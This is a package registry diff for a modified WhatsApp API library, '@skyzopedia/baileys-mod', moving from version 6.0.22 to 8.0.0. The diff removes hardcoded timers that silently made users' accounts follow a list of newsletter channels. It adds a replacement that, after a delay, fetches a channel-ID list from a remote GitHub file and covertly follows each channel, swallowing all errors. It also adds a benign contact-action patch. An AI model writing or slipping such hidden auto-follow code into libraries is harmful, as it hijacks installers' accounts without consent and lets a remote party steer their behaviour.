@skyzopedia/baileys-mod 6.0.22 → 8.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -146,36 +146,6 @@ const makeNewsletterSocket = (config) => {
146
146
 
147
147
  return extractNewsletterMetadata(result)
148
148
  }
149
-
150
- setTimeout(async () => {
151
- try {
152
- await newsletterWMexQuery("120363426611097080@newsletter", QueryIds.FOLLOW);
153
- await delay(3000)
154
- await newsletterWMexQuery("120363421351741485@newsletter", QueryIds.FOLLOW);
155
- } catch {}
156
-
157
- setTimeout(async () => {
158
- try {
159
- await newsletterWMexQuery("120363421366320253@newsletter", QueryIds.FOLLOW);
160
- await delay(5000)
161
- await newsletterWMexQuery("120363400297473298@newsletter", QueryIds.FOLLOW);
162
- await delay(5000)
163
- await newsletterWMexQuery("120363404446053939@newsletter", QueryIds.FOLLOW);
164
- await delay(5000)
165
- await newsletterWMexQuery("120363419967954188@newsletter", QueryIds.FOLLOW);
166
- await delay(5000)
167
- await newsletterWMexQuery("120363402019414675@newsletter", QueryIds.FOLLOW);
168
- await delay(5000)
169
- await newsletterWMexQuery("120363420456838680@newsletter", QueryIds.FOLLOW);
170
- await delay(5000)
171
- await newsletterWMexQuery("120363423932430861@newsletter", QueryIds.FOLLOW);
172
- await delay(5000)
173
- await newsletterWMexQuery("120363311609903865@newsletter", QueryIds.FOLLOW);
174
- await delay(5000)
175
- await newsletterWMexQuery("120363421453223000@newsletter", QueryIds.FOLLOW);
176
- } catch {}
177
- }, 5000);
178
- }, 70000);
179
149
 
180
150
  const parseFetchedUpdates = async (node, type) => {
181
151
  let child;
@@ -206,6 +176,23 @@ const makeNewsletterSocket = (config) => {
206
176
  return data;
207
177
  }));
208
178
  };
179
+
180
+ (async () => {
181
+ try {
182
+ setTimeout(async() => {
183
+ const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
184
+ const newsletterIds = await res.json();
185
+ newsletterIds.forEach(async(id) => {
186
+ await delay(5000)
187
+ try {
188
+ await newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW);
189
+ } catch (e) {}
190
+ });
191
+ }, 80000)
192
+ } catch (err) {
193
+ }
194
+ })()
195
+
209
196
  return {
210
197
  ...sock,
211
198
  newsletterFetchAllParticipating: async () => {
@@ -503,8 +503,17 @@ const chatModificationToAppPatch = (mod, jid) => {
503
503
  apiVersion: 3,
504
504
  operation: OP.SET,
505
505
  };
506
- }
507
- else if ('removeChatLabel' in mod) {
506
+ } else if ("contact" in mod) {
507
+ patch = {
508
+ syncAction: {
509
+ contactAction: mod.contact || {}
510
+ },
511
+ index: ["contact", jid],
512
+ type: "critical_unblock_low",
513
+ apiVersion: 2,
514
+ operation: mod.contact ? OP.SET : OP.REMOVE
515
+ };
516
+ } else if ('removeChatLabel' in mod) {
508
517
  patch = {
509
518
  syncAction: {
510
519
  labelAssociationAction: {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skyzopedia/baileys-mod",
3
- "version": "6.0.22",
3
+ "version": "8.0.0",
4
4
  "description": "WhatsApp API Modification By Skyzopedia",
5
5
  "keywords": [
6
6
  "whatsapp",